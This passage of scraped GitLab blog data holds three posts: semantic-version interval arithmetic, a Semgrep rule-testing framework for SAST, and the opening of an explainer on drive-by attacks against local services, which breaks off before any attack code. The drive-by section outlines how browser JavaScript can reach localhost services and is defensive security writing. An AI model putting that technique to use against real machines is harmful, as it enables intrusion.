\u003C2\")\n# [1,2)\nputs VersionParser.parse(\">1, \u003C2\")\n# (1,2)\nputs VersionParser.parse(\"\u003C=2\")\n# (-inf,2]\nputs VersionParser.parse(\">=1\")\n# [1,+inf)\n```\n\nFor solving SemVer versioning constraints, we use linear interval arithmetic\nwhich is explained in-depth in the text-book \"[Introduction to Interval\nAnalysis](https://epubs.siam.org/doi/book/10.1137/1.9780898717716?mobileUi=0&).\"\n\nAs mentioned earlier, for our purposes, we define an interval as an ordered\npair of two semantic versions (lower and upper bound) that represents the set\nof all those semantic versions that are enclosed by lower and upper bounds.\nGiven that intervals are sets, we can perform standard set operations on\nthem.\n\nIn the context of advisory generation, there are three operations we require to\nsatisfy all the requirements we defined earlier: Intersection, Union and Complement.\nThe operations are explained in more detail in the sections below.\n\nFor the remainder of this section, we explain interval operations, using two\nexample intervals `X` and `Y` with `X=[x_l, x_u]` and `Y=[y_l, y_u]` where\n`x_l`, `x_u` denote the lower and upper bounds for `X`, and `y_l`, `y_u` denote\nthe lower and upper bounds for `Y`, respectively. In addition, we are using the\n`min` and `max` functions, where `max(a,b)` returns the largest and `min(a,b)`\nreturns the smallest value of the parameters `a` and `b`; the ∅ symbol denotes\nthe empty set.\n\n### Intersection\n\nThe recipe below illustrates how the intersection (`X` ∩ `Y`) can be computed.\n\n`X` ∩ `Y` = if `X` and `Y` have points in common `[max(x_l,y_l), min(x_u,y_u)]` else ∅\n\nIntuitively, the intersection extracts the overlap (if any) from the two\nintervals `X` and `Y`.\n\nThe code snippet below shows how the intersection is computed in [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) for the two examples:\n\n1. `[2,5]` ∩ `[3,10]`\n1. `[2,5]` ∩ `[7,10]`\n\n``` ruby\n# 1. [2,5] ∩ [3,10] = [3, 5]\nputs VersionParser.parse(\">=2, \u003C=5\").intersect(VersionParser.parse(\">=3, \u003C=10\"))\n# [3,5]\n\n# 2. [2,5] ∩ [7,10] = ∅\nputs VersionParser.parse(\">=2, \u003C=5\").intersect(VersionParser.parse(\">=7, \u003C=10\"))\n# empty\n```\n\nThe intersection operation is useful to perform semantic version matching\nfor checking whether semantic version falls into a certain version interval\nor range. For instance we may want to check whether version `1.2.3` satisfies\nthe constraint `>=1.0.0, \u003C1.2.4`. In the context of [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), these types of\nconstraints are very common. The problem `1.2.3` ∈ `[1.0.0, 1.2.4)` can be\ntranslated to a set intersection: `[1.2.3, 1.2.3]` ∩ `[1.0.0, 1.2.4)` =\n`[1.2.3, 1.2.3]`  which returns a non-empty set and, hence, tells us that\nversion `1.2.3` satisfies the given version constraints.\n\nIn the context of our advisory generation process, we use intersection to\ncross-validate versions from vulnerability reports (CVEs) with versions of the\navailable package that are available on the package registry that serves it.\n\nFor convenience, as mentioned earlier, [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) also supports grouping\nintervals into ranges by means of the `VersionRange` class. A range is a set of intervals\nwhich we denote with `{I0, I1, ..., IN}` where `I` denotes version intervals\ndelimited by `,` which can be interpreted as a union operator (explained in the next section).\n\nA range is a set of intervals. In the example below, we first create a range\n`r1` to which we are adding two intervals: `r1 = {[2.2.1, 5.1.2], (3.1, 10)}`.\nAfter that, there is a check for an overlap (i.e., an intersection) between\n`r1` and `[0, 2.1)` (no overlap) as well as `[5.5, 5.5]` (overlap). You can see\nthe output of [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) in the excerpt below.\n\n``` ruby\nr1 = VersionRange.new\nr1.add(VersionParser.parse(\">=2.1.2, \u003C=5.1.2\"))\nr1.add(VersionParser.parse(\">3.1, \u003C10\"))\n\nputs \"[0,2.1) in #{r1}? #{r1.overlaps_with?(VersionParser.parse(\">=0, \u003C2.1\"))}\"\n# [0,2.1) in [2.1.2,5.1.2],(3.1,10)? false\nputs \"[5.5,5.5] overlap with #{r1}? #{r1.overlaps_with?(VersionParser.parse(\"=5.5\"))}\"\n# [5.5,5.5] overlap with [2.1.2,5.1.2],(3.1,10)? true\n```\n\n### Union\n\nThe recipe below illustrates how the union (`X` ∪ `Y`) can be computed.\n\n`X` ∪ `Y` = if `X` and `Y` have points in common `{[min(x_l,y_l), max(x_u,y_u)]}` else `{X,Y}`\n\nThe code snippet below shows how the union can be computed with\n [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) for the two examples:\n1. `[2,5]` ∪ `[3,10]` = `{[2,5], [3,10]}` = `{[2, 10]}`\n2. `[2,5]` ∪ `[7,10]` = `{[2,5], [7,10]}`\n\nWith the union operator, we can collapse version intervals in case they have an\noverlap/intersection; otherwise, if `X` and `Y` are disjoint, we add their\nintervals directly to the range.\n\n``` ruby\n# 1. [2,5] ∪ [3,10] = [2, 10]\nputs \"union: #{VersionParser.parse(\">=2, \u003C=5\").union(VersionParser.parse(\">=3, \u003C=10\"))}\"\n# union: [2,10]\n\n# Version ranges perform union two for the purpose of automatically collapsing\n# intervals (if possible)\nr1 = VersionRange.new\nr1.add(VersionParser.parse(\">=2, \u003C=5\"))\nr1.add(VersionParser.parse(\">=3, \u003C=10\"))\nputs \"r1: #{r1}\"\n# union: [2,5],[3,10]\nputs \"r1 collapsed: #{r1.collapse}\" # creates the union between intervals\n# r1 collapsed: [2,10]\n\n# 2. [2,5] ∪ [7,10] = {[2, 10], [7,10]}\nr2 = VersionRange.new\nr2.add(VersionParser.parse(\">=2, \u003C=5\"))\nr2.add(VersionParser.parse(\">=7, \u003C=10\"))\nputs \"r2: #{r2}\"\n# r2: [2,5],[7,10]\n```\n\nIn the context of [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), vulnerability data usually lists a set of intervals for\ndependencies that are susceptible to a given vulnerability like the [tensorflow example](https://nvd.nist.gov/vuln/detail/CVE-2021-29560) in the introduction where the following versions are affected:\n\n1. up to 2.1.4\n1. from 2.2.0 up to 2.2.3\n1. from 2.3.0 up to 2.3.3\n1. from 2.4.0 up to 2.4.2\n\nThis list of intervals can be represented as a single range (`VersionRange`) by\ncombining all of the mentioned version intervals through the union operator.\n\nIn the Ruby code example above, you can also see the `collapse` method which is\ninvoked on a `VersionRange` object. This method automatically collapses\noverlapping intervals that are included in the same `VersionRange` to eliminate\nredundant intervals. Collapsing the range `{[2, 5], [3, 10]}` yields a new range\n`{[2,10]}` with only one interval while preserving semantic equivalence.\n\n### Complement\n\nThe recipe below, illustrates how the relative complement (`X` - `Y`) can be computed.\n\n`X` - `Y`: `Z` := `X` ∩ `Y`;\n        if (`z_l` > `x_l` && `z_u` \u003C `x_u`)\n          `{[x_l, z_l),(z_u, x_u]}`\n        else if (`x_l` \u003C `z_l`)\n          `{[x_l, z_l)}`\n        else if (`x_u` > `z_u`)\n          `{(z_u, x_u]}`\n\nIntuitively, this recipe computes the intersection (`Z`) between `X` and `Y` and\nremoves all elements from `X` that are included in the intersection. The\nexamples below illustrate the recipe:\n\n1. `[3, 5]` - `[1, 3]`: with `Z` = `[3, 3]` we get `{(3, 5]}` which is\n   equivalent to `{[4, 5]}`\n1. `[3, 10]` - `[10, 11]`: with `Z` = `[10, 10]` we get `{[3, 10)}` which is equivalent to `{[3, 9]}`\n1. `[1, 5]` - `[2, 2]`: with `Z` = `[2, 2]` we get `[1, 2), (2, 5]` which is equivalent to `{[1, 1], [3, 5]}`\n\nWith the recipe above, we can also compute the absolute complement `X` - `Y` by\nassuming `X` is the universe that captures the entirety of all possible values:\n`(-inf,+inf)`. The universal complement can be defined as `~X` = `(-inf,+inf)` - `X`.\n\nWith [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects), the absolute complement can be computed by means of the\n`invert` method as illustrated in the example below.\n\n``` ruby\n# example 1: ~[1,3] = {(-inf,0],[4, +inf)} = {(-inf,1),(3,+inf)}\nr1 = VersionRange.new\nr1.add(VersionParser.parse(\">=1, \u003C=3\"))\nputs r1.invert\n# (-inf,1),(3,+inf)\n\n# example 2: ~{[2.1.2, 5.1.2], (3.1, 10)} = ~{[2.1.2, 10)} = {(-inf,2.1.2),[10,+inf)}\n{(-inf,0],[4, +inf)} = {(-inf,1),(3,+inf)}\nr2 = VersionRange.new\nr2.add(VersionParser.parse(\">=2.1.2, \u003C=5.1.2\"))\nr2.add(VersionParser.parse(\">3.1, \u003C10\"))\nputs r2.collapse.invert\n# (-inf,2.1.2),[10,+inf)\n```\n\nIn the context of [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), this functionality is used to automatically infer\nnon-affected versions from the affected versions information: if `[1, 3]`\nrepresents all the affected versions of a vulnerable package, its complement\n`{(-inf,1),(3,+inf)}`, per definition, captures only the unaffected version. In\nour advisory generation process we cross-validate the version information of\npackages from the package registries with this information about unaffected versions to check whether or not unaffected packages are available; if this is the case, we add the corresponding remediation information to the generated advisories.\n\n## Version Translation\n\nLinear interval arithmetic provides us with all the means necessary to\nrepresent and solve SemVer versioning constraints in a language-agnostic way.\nHowever, in order to leverage the generic representation, we have to be able to\nautomatically translate the native semantic version dialects into the generic\nrepresentation and vice versa. The details of this translation functionality\nare provided below.\n\n[Semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) offers a `VersionTranslator` class. The `VersionTranslator` takes a native semantic version constraint, and translates\nit into an intermediate string representation that can then be translated into a range (`VersionRange`) by using the `VersionParser`. Currently semver_dialects supports all the syntax listed below by invoking\n`translate_\u003Cpackage_type>` where `\u003Cpackage_type>` is one of:\n\n- `gem`: [gem requirement](https://guides.rubygems.org/specification-reference/#add_runtime_dependency)\n- `maven`: [Maven Dependency Version Requirement Specification](https://maven.apache.org/pom.html#Dependency_Version_Requirement_Specification)\n- `npm`: [node-semver](https://github.com/npm/node-semver#ranges)\n- `packagist`: [PHP Composer version constraints](https://getcomposer.org/doc/articles/versions.md#writing-version-constraints)\n- `pypi`: [PEP440](https://www.python.org/dev/peps/pep-0440/#version-specifiers)\n- `go`: [go semver](https://godoc.org/golang.org/x/tools/internal/semver)\n- `nuget`: [NuGet semver](https://docs.microsoft.com/en-us/nuget/concepts/package-versioning)\n- `conan`: [node-semver flavour](https://github.com/npm/node-semver#ranges)\n\nThe example below illustrates how the [semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects)' `VersionTranslator` can\nbe used to translate native version syntax to an intermediate representation.\nThe `VersionTranslator` parses the native version syntax and translates it into\na common format. In the example below, you can further see that both\nnative, semantically equivalent but syntactically different version strings for\npackagist and maven are translated into a common format: a string array\nwhere a single array entry represents a conjunct of the semantic version\nconstraints. This translation step removes all language-specific features\nfrom the native semantic version constraints.\n\n``` ruby\n# native packagist version constraint syntax\nvs_packagist = \"\u003C2.5.9||>=2.6.0,\u003C2.6.11\"\n# native maven version constraint syntax\nvs_maven = \"(,2.5.9),[2.6.0,2.6.11)\"\n\n# translate\nputs VersionTranslator.translate_packagist(vs_packagist).to_s\n# [\"\u003C2.5.9\", \">=2.6.0 \u003C2.6.11\"]\nputs VersionTranslator.translate_maven(vs_maven).to_s\n# [\"\u003C2.5.9\", \">=2.6.0 \u003C2.6.11\"]\n```\n\nThis common format can then be translated to a version interval by means of\n`VersionParser` and `VersionRange`. The example below illustrates how the\nversion interval `constraint` is generated by iterating over the array elements\nof our intermediate representation, translating them to intervals and adding\nthese intervals to the `VersionRange` object `constraint`. At the end of the\nexcerpt below, we check whether version `1.0.0` satisfies the version\nconstraint `\u003C2.5.9||>=2.6.0,\u003C2.6.11` which correctly yields `true`.\n\n``` ruby\n# translate native maven version constraint to range of interval\nconstraint = VersionRange.new\nVersionTranslator.translate_maven(vs_maven).each do |version_string|\n  constraint \u003C\u003C VersionParser.parse(version_string)\nend\n\nputs constraint.overlaps_with?(VersionParser.parse('=' + '1.0.0'))\n# true\n```\n\n## Wrapping it up\n\nWe discussed the fragmentation of SemVer versioning which poses a challenge\nwhen building automation around semantic version processing for\nmulti-language/ecosystem applications. In this blog post, we used our internal\nsemi-automated process for advisory generation as an example.\n\nWe illustrated how we tackled the above-mentioned challenge by building a\ngeneric/language-agnostic semantic version approach based on linear interval\narithmetic. All mechanisms discussed in this blog post are implemented in the open-sourced (MIT)\n[semver_dialects](https://gitlab.com/gitlab-org/vulnerability-research/foss/semver_dialects) implementation and published on [rubygems.org](https://rubygems.org/gems/semver_dialects).\n",[14,2849,958],{"slug":3944,"featured":6,"template":677},"generic-semantic-version-processing","content:en-us:blog:generic-semantic-version-processing.yml","Generic Semantic Version Processing","en-us/blog/generic-semantic-version-processing.yml","en-us/blog/generic-semantic-version-processing",{"_path":3950,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3951,"content":3957,"config":3966,"_id":3968,"_type":16,"title":3969,"_source":17,"_file":3970,"_stem":3971,"_extension":20},"/en-us/blog/write-vulnerability-detection-rules",{"title":3952,"description":3953,"ogTitle":3952,"ogDescription":3953,"noIndex":6,"ogImage":3954,"ogUrl":3955,"ogSiteName":767,"ogType":768,"canonicalUrls":3955,"schema":3956},"How to write and continuously test vulnerability detection rules for SAST","Interns with the Google Summer of Code helped GitLab transition from our old SAST tools to Semgrep.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667819/Blog/Hero%20Images/anomaly-detection-cover.png","https://about.gitlab.com/blog/write-vulnerability-detection-rules","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to write and continuously test vulnerability detection rules for SAST\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ross Fuhrman\"},{\"@type\":\"Person\",\"name\":\"Anshuman Singh\"},{\"@type\":\"Person\",\"name\":\"Julian Thome\"}],\n        \"datePublished\": \"2021-09-08\",\n      }",{"title":3952,"description":3953,"authors":3958,"heroImage":3954,"date":3961,"body":3962,"category":14,"tags":3963},[3959,3960,1208],"Ross Fuhrman","Anshuman Singh","2021-09-08","\nIn summer 2021, the [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/) and [Static Analysis](/handbook/engineering/development/sec/secure/static-analysis/)\nteams launched the [Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/) project: [Write vulnerability detection rules for SAST](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-gsoc-2021/-/issues/3).\n\nFor this project, we built and implemented a framework to helps transition GitLab away from our current SAST tools over to Semgrep. Semgrep is a language-agnostic SAST tool that is gaining popularity in CI/CD environments.\nBefore replacing an analyzer with the corresponding Semgrep configuration (called rule-sets), we need to ensure that they are equivalent – in that they yield the same set of findings.\n\nFor this purpose, we built a testing framework that helps us assess the quality of a Semgrep rule-set. This framework has been used to guide the replacement of [flawfinder](https://gitlab.com/gitlab-org/security-products/analyzers/flawfinder), a C/C++ analyzer with a corresponding Semgrep rule-set. This new testing framework leverages the power of GitLab CI/CD.\n\n## Preliminaries\n\n### GitLab and the Google Summer Of Code (GSoC)\n\nThe Google Summer of Code (GSoC) is a 10-week program that enlists student interns to work on an open source project in collaboration with open source organizations. For GSoC 2021, GitLab offered [4 GSoC projects to the GSoC interns](/blog/gsoc-at-gitlab/). The [interns completed each of project](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/gitlab-gsoc-2021/-/issues) under the guidance of a GitLab team member who serves as their mentor and provides regular feedback and assistance when needed.\n\n**[Read reflections from the Google Summer of Code interns about [what it was like working with GitLab](/blog/gsoc-at-gitlab/)]**\n\n### About Semgrep\n\n[Semgrep](https://semgrep.dev/) is a language-agnostic static-analysis (SAST) tool that is powered by [tree-sitter](https://tree-sitter.github.io/tree-sitter/). Tree-sitter is a robust parser-generator tool that supports parsing a variety of languages.\n\nSemgrep supports a [rule-syntax](https://semgrep.dev/docs/writing-rules/rule-syntax/) which can be used to formulate detection rules in a configuration-as-code YAML format. A Semgrep rule determines the findings that Semgrep is supposed to detect. These rules are combined together to create a rule-set.\n\n### About GitLab SAST\n\nGitLab is a complete DevSecOps platform and integrates a [variety of static analysis tools](https://docs.gitlab.com/ee/user/application_security/sast/analyzers.html) that help developers find vulnerabilities as early as possible in the software development lifecycle (SDLC).\n\nSince all the integrated SAST tools are very different in terms of implementation as well as tech stack they depend on, the SAST tools are all wrapped in Docker images. The wrappers translate the native vulnerability reports to a [generic, common report format](https://docs.gitlab.com/ee/user/application_security/sast/) which is made available by means of the `gl-sast-report.json` artifact. This generic report is GitLab's common interface between analyzers and the GitLab Rails backend.\n\n## Write vulnerability detection rules\n\n### Some background on our SAST tools\n\nOver time, the growing number of integrated SAST tools has become a maintenance burden for GitLab due to two major contributing factors.\n\n1. **Integration cost**: All SAST tools have different release cycles – new releases have to be pulled in immediately so that our users can benefit from them. Given the large amount of integrated SAST tools, the time spent to monitor the SAST tools for new releases, integrating and testing them is expensive in terms of engineering effort/time.\n\n1. **Inflexibility**: Adapting or modifying SAST tools behavior is non-trivial because each tool is based on different technologies. Also, upstream contributions to the original analyzer repositories are not guaranteed to be included by the maintainers. In these cases, they require us to fork a project which is not a scalable solution with regards to maintenance effort.\n\nGitLab is in the process of replacing various SAST tools with a single, language-agnostic SAST tool, called Semgrep, to fix these problems. Semgrep can be configured by means of rules that are used to define what Semgrep is supposed to find. These rules are provided as YAML configuration files so it is fairly easy to modify the behavior of Semgrep to different use cases.\nSemgrep's configuration-as-code approach paired with its language support enables us to replace multiple analyzers, which effectively reduces the maintenance burden.\n\nHowever, the SAST tool replacement itself is a challenging process. For the majority of use cases we have to assume that there is already a large amount of historic vulnerability data recorded and acted upon using [GitLab's vulnerability management features](/handbook/security/threat-management/vulnerability-management/). Users may also have grown accustomed to working with certain analyzers and may even have a certain level of expectation with regards to the findings produced by the analyzer.\n\nA smooth transition from a language-specific analyzer to a corresponding Semgrep rule-set must be guaranteed by meeting a certain level of quality assurance. A rule-set should be at least as good as the results produced by the original analyzers, also known as parity. In turn, parity required we build test-suites to be used to measure the gap (in terms of rule coverage) between the original analyzer and the rule-set that is to replace it. A good quality rule-set is expected to perform at least as well as the SAST tool it aims to replace (zero gap, full parity).\n\nThere are cases where the original SAST tool may falsely report vulnerabilities. In these situations, we aim to improve our rule-set in a controlled manner by explicitly documenting our improvements. However, before improving a rule-set, we want to start from a position of complete parity so that we have a holistic view of the impact incurred by single rule improvements. This documentation of applied improvements is important so we can justify changes with regard to reported findings to the customer.\n\nThere are three challenges we tried to address with this project:\n\n1. **Rule management**: Provide a central rule repository to store, distribute and track changes applied to rules as well as test-cases.\n1. **Rule testing**: Every change applied to a rule in the rule repository triggers an automated gap-analysis that measure the quality of the rules in comparison to the original analyzers.\n1. **Analyzer replacement**: Replace at least one SAST tool (in our case flawfinder) with a corresponding rule-set – use the testing framework to ensure that the rule-set is on par with the original SAST tool.\n\nWe unpack each of these challenges in the next section.\n\n### How we approached these challenges\n\nThe architecture of the rule-testing framework is depicted in the code snippets below. All the Semgrep rules and the corresponding test-cases are stored in a central rule repository. Changes that are applied to the rules trigger the execution of our rule testing framework that uses the rules and test-cases to perform an automated gap analysis.\n\n\u003Cpre class=\"mermaid\">\nflowchart LR\n  crr[GitLab Rule Repository]\n\n  bandit[\"GitLab bandit\"]\n  bx[\"gl-sast-report.json\"]\n  sbx[\"gl-sast-report.json\"]\n  breport[\"bandit gap analysis report\"]\n\n  subgraph bandit_comparison[\"bandit comparison\"]\n    banditsemgrep[\"GitLab Semgrep\"]\n    banditcompare[\"compare\"]\n    bandit --> |run analyzer on test-cases| bx\n    banditsemgrep --> |run analyzer on test-cases| sbx\n    bx --> banditcompare\n    sbx --> banditcompare\n  end\n  crr -->|bandit rules + rule id mappings| banditsemgrep\n  banditcompare --> breport\n\n  fx[\"gl-sast-report.json\"]\n  fbx[\"gl-sast-report.json\"]\n  freport[\"flawfinder gap analysis report\"]\n  flawfinder[\"GitLab flawfinder\"]\n\n  subgraph flawfinder_comparison[\"flawfinder comparison\"]\n    flawfindersemgrep[\"GitLab Semgrep\"]\n    flawfindercompare[\"compare\"]\n    flawfinder --> |run analyzer on test-cases| fx\n    flawfindersemgrep --> |run analyzer on test-cases| fbx\n    fx --> flawfindercompare\n    fbx --> flawfindercompare\n  end\n  crr -->|flawfinder rules + rule id mappings| flawfindersemgrep\n  flawfindercompare --> freport\n\n\u003C/pre>\n\nThe rule testing framework is a compass that guides us through the rule development process by automatically measuring the efficacy of rules that are stored in the central rule (git) repository. This measurement happens during a comparison step that validates the findings reported by the original analyzer against the corresponding Semgrep rule-set. For the comparisons we cross-validate the SAST\nreports ([`gl-sast-report.json`](https://docs.gitlab.com/ee/user/application_security/sast/)) that adhere to the GitLab security report format. Since the main goal is to achieve parity between the original analyzer and our corresponding Semgrep rules, we treat the original analyzer as the baseline. The code snippet above depicts two example comparison steps for bandit and flawfinder.  The gap analysis is explained in more detail in the \"rule testing\" section below.\n\nUsing a central rule git repository allows us to manage and easily track changes that are applied to rules and their corresponding test-cases in a central location. By means of GitLab CI/CD, we have a mechanism to automatically run tests that enforce constraints and guidelines on the rules and test-cases. Upon rule changes, we automatically trigger the rule-testing framework which enables us to spot gaps in our rules instantly. The structure of the central rule repository is detailed in the \"rule management\" section below.\n\n#### How we addressed rule management challenges\n\nThe central rule repository is used to store, keep track of changes applied to `rules/test-cases` for a variety of different languages. By having a separate rule repository we can add CI jobs to test, verify, and enforce syntax guidelines.\n\nThe structure we use for the central rule repository is depicted below and follows the structure: `\u003Clanguage>/\u003Cruleclass>/{rule-\u003Crulename>.yml, test-\u003Crulename>.*}` where language denotes the target programming language, `\u003Cruleclass>` is a descriptive name for the class of issues the rule aims to detect and `\u003Crulename>` is a descriptive name for the actual rule.  We can have multiple test cases per rule (all prefixed with `test-`) and rule files `rule-\u003Crulename>.yml` that are prefixed with `rule-` – a rule file contains a single Semgrep rule.\n\n``` bash\n.\n├── mappings\n│   └── analyzer.yml\n├── c\n│   ├── buffer\n│   │   ├── rule-strcpy.yml\n│   │   ├── test-strcpy.c\n│   │   ├── rule-memcpy.yml\n│   │   └── test-memcpy.c\n│   └── ...\n└── javascript\n│   └── ...\n└── python\n│    ├── assert\n│    │   ├── rule-assert.yml\n│    │   └── test-assert.py\n│    └── exec\n│    │   ├── rule-exec.yml\n│    │   ├── test-exec.yml\n│    │   ├── rule-something.yml\n│    │   └── test-something.yml\n│    └── permission\n│    │   ├── rule-chmod.yml\n│    │   └── test-chmod.py\n│    └── ...\n└── ...\n```\n\nIn addition to the rules, we also store mapping files (in the `mappings` subdirectory). The mappings directory in this repository contains YAML configuration/mapping files that map native analyzer IDs to the corresponding Semgrep rules. An analyzer ID uniquely identifies the type of finding. The information in the mapping files helps us to correlate the finding from the original analyzer with their corresponding Semgrep findings and vice versa.\n\nThe mapping files are digested by the testing framework to perform an automated gap analysis. The goal of this analysis is to check if there is an unexpected deviation between Semgrep (with the rules in this repository) and a given analyzer.\n\nA mapping file groups distinct rules into rule-sets and, thus, can be used to bundle different rules based on a certain domain. An excerpt from a mapping file is depicted below – it maps bandit rules (identified by bandit IDs) to Semgrep rules from the central rule repository.\n\n``` yaml\nbandit:\n  - id: \"B101\"\n    rules:\n      - \"python/assert/rule-assert_used\"\n  - id: \"B102\"\n    rules:\n      - \"python/exec/rule-exec_used\"\n  - id: \"B103\"\n    rules:\n      - \"python/file_permissions/rule-general_bad_permission\"\n  - id: \"B104\"\n    rules:\n      - \"python/bind_all_interfaces/rule-general_bindall_interfaces\"\n```\n\n#### How the rule testing framework works\n\nThe test-oracle/baseline is provided by the original analyzer when executed on the test-files. The rules in the central rule repository are compared and evaluated against this baseline. The execution of the testing framework is triggered by any change applied to the rule repository.\n\nWe run all analyzers (flawfinder, bandit, etc.) and their corresponding Semgrep rule-sets (as defined by the mapping files) on the test-files from the GitLab rule repository. The resulting `gl-sast-reports.json` reports that are produced by the original analyzer and by the Semgrep analyzer are then compared in a pairwise manner. To identify identical findings in both reports, we leverage the information from the mapping files that maps the rule-ids of the baseline analyzer to the corresponding Semgrep rule-ids for the rules stored in the central rule repository.\n\nAs output, we produce a gap analysis report (in markdown format). The gap analysis lists all the findings that have been reported by the original analyzers and groups them into different tables (based on the native rule-ids). The screenshot below shows a single table from the gap analysis report.\n\n![Gap Analysis Report](https://about.gitlab.com/images/blogimages/testing-framework-report.png){: .shadow.center}\nAn example table from the gap analysis report.\n{: .note.text-center}\n\nThe `X` symbols indicate whether the analyzers (in the example, flawfinder and Semgrep) were able to detect a given finding. The concrete findings as well as the rule files are linked in the table. To reach full coverage, flawfinder as well as Semgrep have to cover the same findings for all the rules that are reported by the baseline.\n\n#### The analyzer replacement\n\nTo build a Semgrep rule-set that is on par with the capabilities of the original/baseline analyzer we leveraged the newly created testing framework. Flawfinder, a C/C++ analyzer, was the first analyzer we fully migrated to Semgrep using the testing framework as a compass.\n\nFirst, we checked the flawfinder implementation to identify the implemented rules. Given that flawfinder is a Python script and that the rules are essentially stored in a dictionary/hash data-structure, we were able to semi-automatically extract the rules and generate the corresponding Semgrep rule files. We were also able to source the test-files from the flawfinder source code repository.\n\nAfter the initial import of the first set of rules-files and test-cases, we used the information provided by the testing-framework to see which rules needed refinement.\n\nWe responded to the information provided by our testing framework in the following way:\n\n1. Findings covered by Baseline and covered by our rule-set: Nothing to be done.\n1. Findings covered by Baseline but not covered by our rule-set: This denotes an incomplete ruleset. In this case we extended the rule-file by providing additional `pattern` entries.\n1. Findings not covered by Baseline but covered by our rule-set: This usually denotes that some rules are too vaguely formulated. In this case, we refined our rules by using exclusions, e.g., by using `pattern-not` or by adding more detail to an already existing pattern.\n\nThe rule design was an iterative process where we closed the gaps between our semgrep rule-set and the flawfinder baseline in an iterative manner using the testing framework as an oracle to ultimately achieve 100% parity.\n\n## How the GSoC project helped GitLab\n\nIn this GSoC project we successfully built an automated rule/configuration testing framework that is driven by GitLab CI/CD capabilities and that provided the data we needed to replace flawfinder reliably and quickly with a corresponding Semgrep rule-set.\n\nIf you are interested in finding out more information about this GSoC project, please check out the following repositories:\n\n- [Central Rule Repository](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/playground/sast-rules)\n- [Testing Framework](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/rule-testing-framework/rule-testing)\n- [Gap Analysis Computation Tool](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/rule-testing-framework/report-diff)\n- [Repository to track gap statistics](https://gitlab.com/gitlab-org/secure/gsoc-sast-vulnerability-rules/rule-testing-framework/rule-testing-stats)\n",[14,3964,3965],"AWS","demo",{"slug":3967,"featured":6,"template":677},"write-vulnerability-detection-rules","content:en-us:blog:write-vulnerability-detection-rules.yml","Write Vulnerability Detection Rules","en-us/blog/write-vulnerability-detection-rules.yml","en-us/blog/write-vulnerability-detection-rules",{"_path":3973,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3974,"content":3980,"config":3985,"_id":3987,"_type":16,"title":3988,"_source":17,"_file":3989,"_stem":3990,"_extension":20},"/en-us/blog/why-are-developers-vulnerable-to-driveby-attacks",{"title":3975,"description":3976,"ogTitle":3975,"ogDescription":3976,"noIndex":6,"ogImage":3977,"ogUrl":3978,"ogSiteName":767,"ogType":768,"canonicalUrls":3978,"schema":3979},"Why are developers so vulnerable to drive-by attacks?","The complexity of developer working environments make them more likely to be vulnerable to a drive-by attack. We talk about why and walk you through a real-life example from a recent disclosure here at GitLab, and provide tips to reduce the risk and impact of drive-by attacks.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682986/Blog/Hero%20Images/pexels-pixabay-434450.jpg","https://about.gitlab.com/blog/why-are-developers-vulnerable-to-driveby-attacks","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why are developers so vulnerable to drive-by attacks?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2021-09-07\",\n      }",{"title":3975,"description":3976,"authors":3981,"heroImage":3977,"date":3982,"body":3983,"category":14,"tags":3984},[994],"2021-09-07","\nAs someone who spends a lot of time working with computers, I know how easy it is to grow over-confident with regards to security. My systems are patched, my firewall rules are tight, and I’m vigilant when it comes to just about anything that looks out of the ordinary.\n\nNo one’s hacking their way into *my* workstation, that’s for sure.\n\nBut my experience working as a hacker myself has shown me that the opposite is often true. Those of us who are *more* technical are often *much more* vulnerable to an attack due to the complexity of our working environments.\n\nIn this blog, we’re going to dive into the anatomy of something called a “drive-by attack,” where malicious code hidden within a website uses your own browser to attack your computer.\n\nAs an example, I’ll show you how our own [Red Team](/handbook/security/threat-management/red-team/) was able to chain multiple vulnerabilities in the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/README.md) (GDK) to achieve remote code execution (RCE) on developer laptops. And lastly, we’ll discuss steps you can take to reduce the risk of this happening to you.\n\n## How drive-by attacks work\n\nDrive-by attacks come in many forms. Each type of attack starts the same way - you visit a website that contains some malicious code (typically JavaScript). That code will then target a specific type of vulnerability, either in your browser itself or in some other network service that your browser can access. In this blog, we will focus on the latter.\n\nWhat I find particularly fascinating about these attacks is that they completely bypass traditional protections like network firewalls and antivirus software. I think many are under the impression that a network service running on their localhost address cannot be targeted remotely. This is simply not true; in fact, this same technique can be used to target any service on your local network, even those without any outbound internet access at all!\n\nLet’s say you are running a test webserver on your laptop on port 8000. You can simulate this running a simple [netcat](https://en.wikipedia.org/wiki/Netcat) command:\n\n```\nnc -lkp 8000\n```\n\nNow let’s say you are browsing the internet while that test server is running locally. You visit a site that has been compromised with malicious JavaScript. We’ve set up a site at [https://gitlab-com.gitlab.io/gl-security/security-operations/gl-redteam/simple-request](https://gitlab-com.gitlab.io/gl-security/security-operations/gl-redteam/simple-request) that mimics a basic attack. The site contains the following 